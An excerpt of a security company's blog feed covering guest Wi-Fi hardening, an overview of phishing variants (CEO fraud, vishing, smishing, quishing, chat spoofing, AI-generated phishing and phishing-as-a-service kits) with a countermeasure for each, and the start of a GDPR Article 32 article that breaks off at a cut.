&lt;p&gt;Another risk: If an attacker gains access to your Wi-Fi, they can read all unencrypted network traffic. If WPS was active and compromised, the attacker has permanent network access - until you change the password. Data from cloud services, email accounts, and internal documents can thus be accessed unnoticed for weeks.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;guest-wi-fi-convenience-without-security-risks&quot;&gt;Guest Wi-Fi: Convenience Without Security Risks&lt;/h2&gt;
&lt;p&gt;A guest Wi-Fi network is virtually indispensable in modern businesses. Auditors, external consultants, suppliers, and business partners expect hassle-free internet access - without it opening a path to the internal network.&lt;/p&gt;
&lt;h3 id=&quot;typical-guest-groups-and-their-requirements&quot;&gt;Typical guest groups and their requirements&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Auditors and accountants&lt;/strong&gt; need access to cloud tools and online documents. A guest Wi-Fi network enables this without opening the internal network.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;External lawyers and consultants&lt;/strong&gt; regularly work with sensitive data. Isolated internet access prevents the unintentional disclosure of internal resources.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;External IT service providers&lt;/strong&gt; often need internet access for maintenance work. An isolated guest Wi-Fi network allows them to perform tasks while keeping the production network protected.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Customers and business partners&lt;/strong&gt; expect Wi-Fi to work during meetings and presentations. A professionally set up guest Wi-Fi network leaves a good impression while minimizing risks.&lt;/p&gt;
&lt;h3 id=&quot;risks-of-a-poorly-configured-guest-wi-fi-network&quot;&gt;Risks of a poorly configured guest Wi-Fi network&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Lateral Movement:&lt;/strong&gt; Without strict network segmentation, attackers can gradually penetrate the internal network via a compromised guest device. A device infected with malware on the guest Wi-Fi then becomes the starting point for attacks on servers and workstations.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;GDPR Risks:&lt;/strong&gt; Guest registration data is subject to the GDPR. A lack of privacy notices in the captive portal or retaining access logs for too long can result in fines.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bandwidth Abuse:&lt;/strong&gt; Without bandwidth limits, a single guest can slow down the entire corporate network.&lt;/p&gt;
&lt;h3 id=&quot;protective-measures-for-the-guest-wi-fi&quot;&gt;Protective Measures for the Guest Wi-Fi&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Network Segmentation:&lt;/strong&gt; The guest Wi-Fi must run on its own VLAN (e.g., VLAN 99). Firewall rules must block access from the guest VLAN to all internal VLANs.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Time-Limited Access:&lt;/strong&gt; Voucher codes with automatic expiration (e.g., 8 hours or 24 hours) prevent continuous access by guests who are no longer present.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Captive Portal with Privacy Notice:&lt;/strong&gt; Guests must confirm the terms of use before gaining access. The captive portal must include a GDPR-compliant privacy notice.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Network Access Control (NAC):&lt;/strong&gt; For sensitive environments: Only devices with an up-to-date operating system and active antivirus protection are granted access.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Monitoring:&lt;/strong&gt; Monitor network traffic on the guest Wi-Fi for anomalies. Retain access logs (standard retention period: 7-30 days), but store only the necessary data.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Employee Training:&lt;/strong&gt; Reception staff and IT support must know how to set up, monitor, and immediately block guest access in an emergency.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;guest-wi-fi---a-real-world-example&quot;&gt;Guest Wi-Fi - A Real-World Example&lt;/h3&gt;
&lt;p&gt;A company set up an open Wi-Fi network for guests without a password. An attacker exploited the unsecured access to inject malware. Since there was no segmentation between the guest and corporate networks, internal systems were compromised. The incident led to technical outages and lasting reputational damage with business partners.&lt;/p&gt;
&lt;p&gt;A law firm solved the problem differently: guests receive individual access codes via a captive portal, valid for a maximum of 24 hours. The guest Wi-Fi is strictly separated from the internal network via VLANs. Access is automatically deactivated upon expiration. This simultaneously meets visitor convenience and compliance requirements.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;seven-basic-rules-for-secure-wi-fi-networks&quot;&gt;Seven Basic Rules for Secure Wi-Fi Networks&lt;/h2&gt;
&lt;p&gt;These rules apply to both home and corporate networks and form the basis of every security concept:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Modern encryption method:&lt;/strong&gt; WPA3 or at least WPA2 with AES. WEP and WPA (without a number) have known vulnerabilities and must be replaced. WPA2-PSK with AES remains the minimum requirement for environments that do not yet fully support WPA3.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Strong, random password:&lt;/strong&gt; For home networks, at least 16 characters including numbers, letters, and special characters. For enterprise PSK, at least 25 random characters. Passwords that are easy for humans to remember, such as “Company2024Secure!”, are easier to crack in brute-force attacks than random character strings.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Disable WPS:&lt;/strong&gt; The WPS PIN effectively has only 11,000 combinations (the eighth digit is a checksum; the standard checks the first four and last three digits separately). The Reaver tool can automatically brute-force WPS PINs. WPS should be disabled on every network.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Keep router firmware up to date:&lt;/strong&gt; Manufacturers regularly release updates that patch security vulnerabilities. Enable automatic firmware updates whenever possible. Outdated router firmware with known CVEs is a common attack vector.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Disable Unnecessary Services:&lt;/strong&gt; Only enable FTP, SSH, Telnet, and similar services on the router if they are actually needed. Every open service is a potential attack surface.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6. Separate password management:&lt;/strong&gt; Use different passwords for the Wi-Fi, the guest Wi-Fi, and the router admin access. An attacker who knows the guest password should not be able to deduce the admin password.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;7. Regularly check connected devices:&lt;/strong&gt; Regularly check the router interface to see which devices are connected. Unknown devices on the network are a warning sign - if you suspect anything, change the Wi-Fi password immediately.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;wi-fi-basics-how-wireless-connections-work-technically&quot;&gt;Wi-Fi Basics: How Wireless Connections Work Technically&lt;/h2&gt;
&lt;p&gt;Understanding the technical basics helps you better understand security measures.&lt;/p&gt;
&lt;h3 id=&quot;radio-frequencies-and-range&quot;&gt;Radio Frequencies and Range&lt;/h3&gt;
&lt;p&gt;Wi-Fi transmits data as radio waves on two frequency bands:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.4 GHz:&lt;/strong&gt; Greater range, penetrates walls better, but more congested (microwave ovens and Bluetooth use the same band). More susceptible to interference from other devices.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5 GHz:&lt;/strong&gt; Higher data rate, fewer sources of interference, but shorter range and poorer wall penetration. Devices with high bandwidth requirements should preferably operate on the 5 GHz band.&lt;/p&gt;
&lt;p&gt;Both bands are divided into multiple channels to avoid interference from overlapping networks. Many routers are dual-band and support both frequency bands simultaneously.&lt;/p&gt;
&lt;h3 id=&quot;ieee-80211-standards&quot;&gt;IEEE 802.11 Standards&lt;/h3&gt;
&lt;p&gt;The Wi-Fi standard is based on IEEE 802.11. Relevant versions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;802.11n (Wi-Fi 4):&lt;/strong&gt; Up to 600 Mbps, 2.4 and 5 GHz&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;802.11ac (Wi-Fi 5):&lt;/strong&gt; Up to several Gbps, 5 GHz&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;802.11ax (Wi-Fi 6/6E):&lt;/strong&gt; More efficient with many simultaneous devices, 2.4, 5, and 6 GHz&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;802.11w:&lt;/strong&gt; Management Frame Protection (MFP) - important for security against deauthentication attacks&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;why-wi-fi-signals-know-no-physical-boundaries&quot;&gt;Why Wi-Fi Signals Know No Physical Boundaries&lt;/h3&gt;
&lt;p&gt;A Wi-Fi signal does not stop at the office wall. It radiates in all directions, including into neighboring rooms, adjacent buildings, and public spaces. This is precisely where the fundamental security problem lies: Anyone with a Wi-Fi adapter within range can receive your signal. Whether they can exploit it depends on the quality of your encryption and your password.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;further-resources&quot;&gt;Further Resources&lt;/h2&gt;
&lt;p&gt;If you want to understand how attackers specifically target Wi-Fi networks - and which tools, methods, and attack scenarios professional penetration testers use to assess Wi-Fi infrastructures - you’ll find all the details in the accompanying article:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://a7.de/en/blog/wlan-penetration-testing-tools-methods-and-attack-vectors/&quot;&gt;Wi-Fi Penetration Testing: Tools, Methods, and Attack Vectors&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;A professionally configured Wi-Fi network differs little from consumer Wi-Fi in terms of operation, but significantly in terms of security.&lt;/strong&gt; WPA3-Enterprise with 802.1X takes a little more time to set up, but saves hours of forensic work after an incident. AWARE7 checks Wi-Fi configurations as part of network penetration tests.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://a7.de/en/contact/&quot;&gt;Schedule a free initial consultation&lt;/a&gt; | &lt;a href=&quot;https://a7.de/en/services/penetration-testing/&quot;&gt;Network Penetration Testing&lt;/a&gt; | &lt;a href=&quot;https://a7.de/en/services/security-awareness/&quot;&gt;Security Awareness Training&lt;/a&gt;&lt;/p&gt;</content:encoded><category>Network &amp; Endpoint Security</category><author>kontakt@a7.de (Chris Wojzechowski)</author></item><item><title>Phishing Methods Overview: From Spear Phishing to AI Phishing</title><link>https://a7.de/en/blog/phishing-methods-overview-from-spear-phishing-to-ai-phishing/</link><guid isPermaLink="true">https://a7.de/en/blog/phishing-methods-overview-from-spear-phishing-to-ai-phishing/</guid><description>Email, phone, text message, QR code, chat, and AI - all types of phishing explained with examples and protective measures for each method.</description><pubDate>Sat, 07 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Phishing has been a growing problem since the dawn of the internet. However, the term no longer describes a single, uniform method. Anyone who wants to fend off attacks must first understand the different variants that exist, how they work technically, and why people continue to fall for them despite increasing awareness.&lt;/p&gt;
&lt;p&gt;This guide summarizes the most important phishing methods - with concrete real-world examples and one protective measure for each method.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;1-the-evolution-of-phishing&quot;&gt;1. The Evolution of Phishing&lt;/h2&gt;
&lt;p&gt;Attempts at fraud existed even before the internet. Back then, of course, not via email, but via letter. However, with increasingly rapid networking and digitization, the business of criminal messages has become increasingly scalable. Spam filters and other security solutions do try to keep malicious emails out of inboxes - but their success has been rather limited. This is partly because criminals are constantly finding new methods and attack vectors to bypass these filters.&lt;/p&gt;
&lt;p&gt;Phishing attacks are difficult to detect because they can mimic legitimate emails or websites. Now they are becoming even more sophisticated: Artificial intelligence enables realistic, personalized messages that are nearly impossible to detect, even for vigilant users. At the same time, Phishing-as-a-Service platforms lower the technical barrier to entry to a minimum.&lt;/p&gt;
&lt;p&gt;The following overview shows which methods criminals are using today - and what companies can do to counter them.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;2-email-phishing-classic&quot;&gt;2. Email Phishing (Classic)&lt;/h2&gt;
&lt;p&gt;Classic email phishing is the origin of all variants. Phishing is a type of digital attack in which users are tricked into revealing personal data, such as passwords or credit card numbers, through fraudulent emails or websites.&lt;/p&gt;
&lt;p&gt;Mass phishing campaigns target as many recipients as possible at the same time. The messages mimic well-known brands, banks, or government agencies and create a sense of urgency - often through feigned urgency or threats of consequences.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Real-world example:&lt;/strong&gt; An email pretends to come from a well-known streaming platform and asks the recipient to update their payment information. The link provided leads to a deceptively realistic fake version of the real website.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Precaution:&lt;/strong&gt; Carefully check the sender’s domain and the linked URL - both must match the organization in question. If in doubt, log in directly on the real website instead of clicking the link in the email.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;3-spear-phishing-and-whalingceo-fraud&quot;&gt;3. Spear Phishing and Whaling/CEO Fraud&lt;/h2&gt;
&lt;p&gt;While mass phishing relies on quantity, spear phishing targets individual, carefully selected people. A spear phishing attack is a targeted attack on a person or group of people - using pre-researched, personal details that make the message convincing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CEO fraud&lt;/strong&gt; is the most common form of spear phishing used in companies. The word &quot;fraud&quot; means exactly what it says: deception. CEO fraud is a scam in which the identity of a decision-maker is impersonated - whether through a manipulated email, call ID spoofing, or even a deepfake video call. Perpetrators conduct extensive social engineering via LinkedIn and company websites beforehand before calling the accounting department posing as the CEO or requesting a wire transfer via email.&lt;/p&gt;
&lt;p&gt;The North Rhine-Westphalia Police warned early on that the number of cases had doubled. Various scammers have stolen several million euros using this scheme. What’s interesting is that the police also warn that &lt;strong&gt;small and medium-sized enterprises&lt;/strong&gt; can become targets as well. While initially it was only the very large, internationally active companies, small business owners are now also being specifically targeted. No wonder: there’s a lot to be gained here too, although the risk and security barriers are usually lower than at top corporations.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Real-world example:&lt;/strong&gt; Security researchers used machine learning software to automatically send tweets to Pokémon Go players on Twitter. The software responded fully automatically to tweets with the hashtag #PokemonGo, achieving click-through rates of 30% to 60% - compared to 5-10% for standard phishing. A manually created spear-phishing attack typically takes up to 10 minutes to prepare, with a click-through rate of up to 40%.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Preventive measure:&lt;/strong&gt; Instructions regarding financial transactions must always be confirmed via a second, verified channel - a quick call back to the alleged sender’s known number is enough to stop the scam. Employees must also know that it is acceptable to question even their boss.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;4-vishing-phone-phishing&quot;&gt;4. Vishing (Phone Phishing)&lt;/h2&gt;
&lt;p&gt;Vishing is short for &quot;voice phishing&quot; - phishing over the phone. Attackers call their victims directly and pose as bank employees, IT support staff, or government officials. When combined with caller ID spoofing, the victim sees a trustworthy-looking phone number.&lt;/p&gt;
&lt;p&gt;The speed of communication during phone calls and the resulting level of trust are significantly higher than with emails. Attackers exploit this effect deliberately: When pressured by an authority figure over the phone, people act faster and question less.&lt;/p&gt;
&lt;p&gt;Vishing is regularly used in CEO fraud: Fraudsters have been infiltrating the company for a long time, know how employees think, and usually play the role of the boss very credibly and authoritatively.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Real-world example:&lt;/strong&gt; An attacker calls the accounting department posing as the CEO and demands an urgent transfer to a foreign account. The displayed phone number matches the executive’s real phone number because call ID spoofing is being used.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Precaution:&lt;/strong&gt; Always verify instructions given over the phone regarding transfers or the disclosure of sensitive data via a different channel (e.g., in person or via email to the known address).&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;5-smishing-sms-phishing&quot;&gt;5. Smishing (SMS Phishing)&lt;/h2&gt;
&lt;p&gt;Smishing refers to phishing attacks via SMS or messaging services. The principle is the same as with email phishing - only the channel is different. Fraudsters send text messages that announce a package delivery, simulate an account warning, or contain alleged prize notifications, and link to fraudulent websites.&lt;/p&gt;
&lt;p&gt;Smishing is effective because many people intuitively trust text messages more than emails. Additionally, URLs are often displayed in shortened form on mobile devices, making it harder to spot fakes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Real-world example:&lt;/strong&gt; A text message pretends to be from a package delivery service and requests payment of a small fee so the package can be delivered. The link leads to a fake payment page where payment details are stolen.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Precaution:&lt;/strong&gt; Do not click on links in unexpected text messages. Verify suspicious messages by visiting the official website directly or contacting official customer service.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;6-quishing-qr-code-phishing&quot;&gt;6. Quishing (QR Code Phishing)&lt;/h2&gt;
&lt;p&gt;Quishing combines QR codes with classic phishing tactics. In quishing, a QR code is generated that contains a malicious link. This link can also be disguised using a URL shortener. Unlike email phishing, the QR code is usually printed on physical media, as sending it via email isn’t particularly plausible.&lt;/p&gt;
&lt;p&gt;The COVID-19 pandemic has deeply integrated QR codes into everyday life: digital vaccine passports, contact tracing, check-ins - QR codes have been ubiquitous ever since. If the QR code is placed in a plausible location and within a logical context, it appears more legitimate and trustworthy than an email.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Real-world example:&lt;/strong&gt; In Austin, Texas, authorities discovered tampered QR codes at parking stations. The codes redirected to a page that did not originate from an official source - this allowed attackers to steal payment data from parkers.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Precaution:&lt;/strong&gt; Use a QR code scanner that displays a URL preview before opening the link. Apple has built this feature into its system-integrated scanner; corresponding apps are available for Android. Do not scan codes in unusual or suspicious-looking locations.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;7-chishing-chat-phishing&quot;&gt;7. Chishing (Chat Phishing)&lt;/h2&gt;
&lt;p&gt;Communication within companies increasingly takes place via business chat platforms. External partners are also being added to internal business chats more frequently, thereby expanding the attack surface. AWARE7 has discovered that with a variety of chat tools, it is possible to edit a profile in such a way that a spoofing attack becomes feasible. This attack method has been termed &lt;em&gt;chishing&lt;/em&gt; - a portmanteau of &lt;em&gt;chat&lt;/em&gt; and &lt;em&gt;phishing&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Spoofing occurs when an attacker pretends to be someone else in order to gain access to confidential information. Attackers change the profile picture and display name so that conversation partners do not notice the identity change during an ongoing chat. The speed of communication in chats and the level of trust are significantly higher than with emails - an ideal environment for social engineering attacks.&lt;/p&gt;
&lt;p&gt;AWARE7 analyzed six chat tools in a study: Microsoft Teams, Google Chat, Slack, Element.io, Mattermost, and WebEx Teams. Result: In four of the six tools - Google Chat, Slack, Mattermost, and WebEx Teams - it was possible to change the profile picture and name in such a way that it was not noticeable within a chat whether the person was genuine or not. Only Microsoft Teams (profiles are managed by IT admins) and Element.io (unique user tag) offered sufficient protection.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Real-world example:&lt;/strong&gt; In Mattermost, three different users can create identical profiles. An external guest impersonates an internal employee and requests login credentials or a bank transfer via chat.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Protective measure:&lt;/strong&gt; Always verify sensitive instructions in business chats via a second channel. Choose chat platforms that offer unique user identifiers. Raise employee awareness about this specific attack method.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;8-ai-powered-phishing---the-new-dimension&quot;&gt;8. AI-powered phishing - the new dimension&lt;/h2&gt;
&lt;p&gt;The most dangerous development in the field of phishing is the use of artificial intelligence. AI-powered phishing attacks have reached a new level of sophistication with the use of language models: These systems generate deceptively authentic, individually personalized emails that even careful users can hardly detect and that systematically bypass conventional spam filters.&lt;/p&gt;
&lt;p&gt;GPT-3 (Generative Pre-trained Transformer 3) is a machine learning platform that produces human-like text and can even mimic the style of a specific author. In the Playground, all you need to do is enter the intended recipient of a phishing email - the program then automatically generates a plausible phishing message. This process can be fully automated via an API.&lt;/p&gt;
&lt;p&gt;OpenAI has released an API that allows developers to utilize these features. Criminals can use it to compose and send phishing emails that are even more personalized and fully automated. Especially in combination with large-scale data breaches - which also enable the automated processing of email addresses, names, and other personal details - we can expect even more sophisticated and scalable phishing waves.&lt;/p&gt;
&lt;p&gt;Classic telltale signs such as grammatical errors or generic salutations thus become worthless. Criminals are scaling their campaigns to an industrial level.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Real-world example:&lt;/strong&gt; Software trained by security researchers using approximately 2 million tweets automatically generated responses to tweets with the hashtag #PokemonGo. The malicious tweets achieved click-through rates of 30% to 60%. The fact that the software did not speak perfect German or English did not detract from its success - Twitter slang works to the algorithms’ advantage.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Protective measure:&lt;/strong&gt; Pay particular attention to the domain and the sender’s name - these must be well-faked to make the message appear truly authentic. It is crucial to be aware that even supposedly personalized emails can serve a malicious purpose.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;9-phishing-toolkits-caffeine-and-the-phishing-as-a-service-model&quot;&gt;9. Phishing Toolkits: Caffeine and the Phishing-as-a-Service Model&lt;/h2&gt;
&lt;p&gt;Another driver of the rising phishing threat is the professionalization of the attackers’ infrastructure. Phishing-as-a-Service (PhaaS) makes it possible to launch ready-to-use phishing campaigns immediately without any technical expertise.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Caffeine&lt;/strong&gt; is a Phishing-as-a-Service toolkit with one key feature: The registration process has been significantly simplified and is accessible via the regular internet - no Darknet access or Telegram channel is required. Anyone who knows the site’s address can register.&lt;/p&gt;
&lt;p&gt;As a PhaaS, Caffeine handles much of the work for potential attackers. It includes up-to-date templates for phishing emails and the landing pages behind them - in particular, extensive templates for the Microsoft 365 environment. Interestingly, templates are available not only for major Western companies but also for Chinese and Russian companies. Mandiant has analyzed the toolkit in detail and confirmed its existence.&lt;/p&gt;
&lt;p&gt;The price is $450 for three months; the Enterprise subscription for six months costs $850. The toolkit explicitly advertises customer support as well as various anti-detection and anti-analysis features. URLs can be dynamically generated using variables, making detection even more difficult. IP addresses or entire countries can be excluded from phishing campaigns. Payment is made with cryptocurrency - further lowering the barrier to entry.&lt;/p&gt;
&lt;p&gt;The fact that yet another toolkit for illegal phishing activities has entered the market demonstrates just how lucrative the phishing business is. Particularly concerning is the trend that more and more potential attackers are being tempted to carry out illegal attacks due to the low barriers to entry.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Protective measure:&lt;/strong&gt; Since phishing toolkits provide technically flawless attack email templates, technical detection features can no longer serve as the sole filter. Employees must be trained to recognize phishing patterns in the content of emails - regardless of how professional a message may appear.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;10-how-companies-can-protect-themselves&quot;&gt;10. How Companies Can Protect Themselves&lt;/h2&gt;
&lt;p&gt;No single technical measure provides complete protection against the full range of phishing methods. Effective protection is multi-layered:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Technical Measures:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Consistently configure email authentication (SPF, DKIM, DMARC)&lt;/li&gt;
&lt;li&gt;Keep spam and phishing filters up to date&lt;/li&gt;
&lt;li&gt;Implement multi-factor authentication (MFA) for all logins - MFA renders stolen login credentials largely useless to attackers&lt;/li&gt;
&lt;li&gt;Use QR code scanners with URL previews&lt;/li&gt;
&lt;li&gt;Prioritize chat platforms with reliable user identification&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Organizational measures:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Clear processes for financial transactions and requests for sensitive data: Always follow the dual-control principle and perform verification via a second channel&lt;/li&gt;
&lt;li&gt;Allow and encourage employees to question instructions from supervisors&lt;/li&gt;
&lt;li&gt;Implement a compliance management system that mandates these processes&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Training and Awareness:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Regular &lt;a href=&quot;https://a7.de/en/services/security-awareness/phishing-simulation/&quot;&gt;awareness campaigns&lt;/a&gt; covering all methods - not just email phishing&lt;/li&gt;
&lt;li&gt;Conduct &lt;a href=&quot;https://a7.de/en/services/security-awareness/phishing-simulation/&quot;&gt;phishing simulations&lt;/a&gt; that also cover quishing scenarios (distributed flyers, QR codes placed within the company) and chat-based attacks&lt;/li&gt;
&lt;li&gt;Make it clear to employees that AI-generated phishing messages no longer contain classic spelling errors&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The main reason fraudsters get away with scams like CEO fraud is that no one expects them. That is precisely the problem: employees need to know that such attacks are real and do happen - not just at large corporations, but also at small and medium-sized businesses.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;11-frequently-asked-questions-faq&quot;&gt;11. Frequently Asked Questions (FAQ)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;What is the difference between phishing and spear phishing?&lt;/strong&gt;
Phishing refers to fraudulent messages sent in bulk to many recipients at once. Spear phishing, on the other hand, is a targeted attack on a specific person or group of people - using pre-researched, personal details to make the message convincing. Click-through rates for spear-phishing are significantly higher: up to 40% for manually created attacks and up to 60% for AI-assisted attacks, compared to 5-10% for traditional mass phishing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is CEO fraud and who is affected by it?&lt;/strong&gt;
CEO fraud is a scam in which attackers impersonate a decision-maker - via email, phone, or even a deepfake video call. They demand money transfers or the disclosure of sensitive data. CEO fraud no longer targets only large corporations: small and medium-sized businesses are also specifically targeted because they often have fewer security barriers.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is quishing?&lt;/strong&gt;
Quishing is phishing via QR codes. A QR code is linked to a malicious link and placed in physical form - on stickers, flyers, or on physical devices. Since QR codes have become deeply integrated into everyday life due to the COVID-19 pandemic, they appear trustworthy in a plausible context. A QR scanner with a URL preview offers protection.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is chishing?&lt;/strong&gt;
Chishing is phishing in business chat tools such as Slack, Google Chat, or Mattermost. Attackers change their display name and profile picture to appear as other employees or known contacts. AWARE7 has demonstrated in its own study that this is easily possible on four out of six platforms examined.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How can I protect myself against AI-powered phishing?&lt;/strong&gt;
AI-generated phishing messages no longer have classic telltale signs like spelling errors. Protection comes primarily from a critical eye toward the sender’s domain and address, as well as the awareness that even messages that appear personalized can be malicious. Regular phishing simulations systematically train this vigilance.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is Phishing-as-a-Service (PhaaS)?&lt;/strong&gt;
PhaaS is a business model in which criminals can rent ready-made phishing toolkits - including templates, hosting, anti-detection features, and support. Toolkits like Caffeine can now be booked directly on the clear web without dark web access, significantly lowering the barrier to entry. The result: more potential perpetrators, more attacks, and higher-quality templates.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What are the benefits of a phishing simulation?&lt;/strong&gt;
A phishing simulation tests how employees react in a real-world scenario - before real attackers do. Realistic scenarios uncover vulnerabilities and enable targeted retraining. Modern simulations can also replicate quishing scenarios (QR code flyers in the office) and chat-based attacks. You can find details on our &lt;a href=&quot;https://a7.de/en/services/security-awareness/phishing-simulation/&quot;&gt;Phishing Simulation&lt;/a&gt; page.&lt;/p&gt;</content:encoded><category>Security Awareness</category><author>kontakt@a7.de (Chris Wojzechowski)</author></item><item><title>GDPR and IT Security: Technical Measures under Art. 32</title><link>https://a7.de/en/blog/gdpr-and-it-security-technical-measures-under-art-32/</link><guid isPermaLink="true">https://a7.de/en/blog/gdpr-and-it-security-technical-measures-under-art-32/</guid><description>Technical and organizational measures under GDPR Article 32: what your IT must implement for compliance, data protection, and auditor readiness.</description><pubDate>Fri, 06 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&quot;Appropriate technical and organizational measures&quot; - Article 32 of the GDPR sounds abstract. However, the supervisory authorities have a clear understanding of what this means in practice. Companies that cannot demonstrate documented TOMs in the event of a data breach risk substantial fines - regardless of whether the measures were technically in place or not. What matters is the ability to provide evidence.&lt;/p&gt;
&lt;p&gt;The legal foundations and organizational obligations - AVV, 72-hour reporting requirement, DSFA, fine practices - are covered in the companion article &lt;a href=&quot;https://a7.de/blog/dsgvo-compliance-unternehmen/&quot;&gt;GDPR Compliance for Businesses&lt;/a&gt;. This article focuses on the technical side.&lt;/p&gt;
&lt;h2 id=&quot;what-article-32-of-the-gdpr-specifically-requires&quot;&gt;What Article 32 of the GDPR Specifically Requires&lt;/h2&gt;
&lt;p&gt;Article 32 of the GDPR formulates the requirements on a risk-based basis:&lt;/p&gt;
&lt;p&gt;&amp;gt; &quot;Taking into account the state of the art, the costs of implementation, and the nature, scope, context, and purposes of processing as well as the varying likelihood and severity of the risk.... the controller and the processor shall implement appropriate technical and organizational measures to ensure a level of security appropriate to the risk; these measures shall include, among other things:
&amp;gt; a) the pseudonymization and encryption of personal data;
&amp;gt; b) the ability to ensure the confidentiality, integrity, availability, and resilience of systems;
&amp;gt; c) the ability to quickly restore the availability of and access to personal data in the event of a physical or technical incident;
&amp;gt; d) a procedure for regularly reviewing, assessing, and evaluating the effectiveness of the TOMs.&quot;&lt;/p&gt;
&lt;p&gt;The four protection objectives:&lt;/p&gt;
&lt;div class=&quot;table-scroll&quot;&gt;
























